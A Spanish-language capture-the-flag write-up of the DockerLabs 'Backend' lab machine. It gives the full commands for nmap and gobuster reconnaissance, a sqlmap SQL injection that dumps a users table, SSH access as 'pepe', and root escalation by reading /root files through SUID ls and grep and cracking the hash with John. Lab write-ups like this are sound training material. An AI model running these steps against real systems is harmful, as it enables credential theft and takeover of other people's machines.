Ir al contenido

Backend

En este artículo documentamos la resolución de la máquina virtual Backend, creada por 4bytes y clasificada como de dificultad fácil. El procedimiento se divide en tres fases principales: reconocimiento, explotación y escalada de privilegios.

  • Nombre: Backend
  • Autor: 4bytes
  • Dificultad: Fácil
  • Fecha de creación: 29/08/2024
  1. Descargamos la máquina desde DockerLabs.

  2. Descomprimimos el paquete:

    Ventana de terminal
    unzip Backend.zip
  3. Desplegamos el entorno:

    Ventana de terminal
    sudo bash auto_deploy.sh Backend.tar

Al iniciar la máquina, su dirección IP se muestra en pantalla, por lo que no es necesario un escaneo ARP.

IP asignada

Preparamos el entorno de trabajo:

Ventana de terminal
mkdir Backend
cd Backend
mkt # Crea las carpetas: content, exploits, nmap, scripts

Ejecutamos un escaneo completo de puertos con Nmap:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts

Extraemos los puertos abiertos:

Ventana de terminal
extractPorts allPorts

Puertos abiertos

Puertos detectados:

  • 22 (SSH)
  • 80 (HTTP)

Realizamos una enumeración de directorios con Gobuster:

Ventana de terminal
gobuster dir -u http://172.17.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \
-x php,html,txt,js -t 200

Se detectan las siguientes rutas:

  • Index: Página principal en desarrollo. Index

  • Login: Formulario de autenticación de usuarios. Login

La ruta /login.html parece vulnerable a SQL Injection. En el campo de usuario introducimos un valor arbitrario seguido de un ' para provocar un error y confirmar la vulnerabilidad.

Sqli

Una vez confirmada la inyección SQL, utilizamos sqlmap para extraer la información de la base de datos:

Ventana de terminal
sqlmap -u http://172.17.0.2/login.html --forms --batch -dbs

Databases

Listamos las tablas y volcamos el contenido de la tabla usuarios:

Ventana de terminal
sqlmap -u "http://172.17.0.3/login.html" --forms --batch -D users -T usuarios --dump

Obtenemos credenciales que probamos vía SSH. El único usuario válido es pepe.

SSH ACCESS

Una vez dentro como pepe:

Ventana de terminal
sudo -l

No se tienen privilegios sudo. Por lo tanto, exploramos binarios con el bit SUID activado:

Ventana de terminal
find / -perm -4000 2>/dev/null

SUID

Entre los binarios detectados, destacan ls y grep. Usamos ls para listar /root:

ls

Después, con grep leemos el contenido del archivo sensible y obtenemos un hash:

grep

Utilizamos John the Ripper:

John

El hash revela la contraseña del usuario root. Iniciamos sesión como administrador:

Root

La máquina Backend se resuelve aprovechando una inyección SQL en el formulario de login, lo que permite extraer credenciales válidas para SSH. Posteriormente, se explotan binarios con permisos SUID para acceder a información sensible, crackear la contraseña de root y obtener el control total del sistema.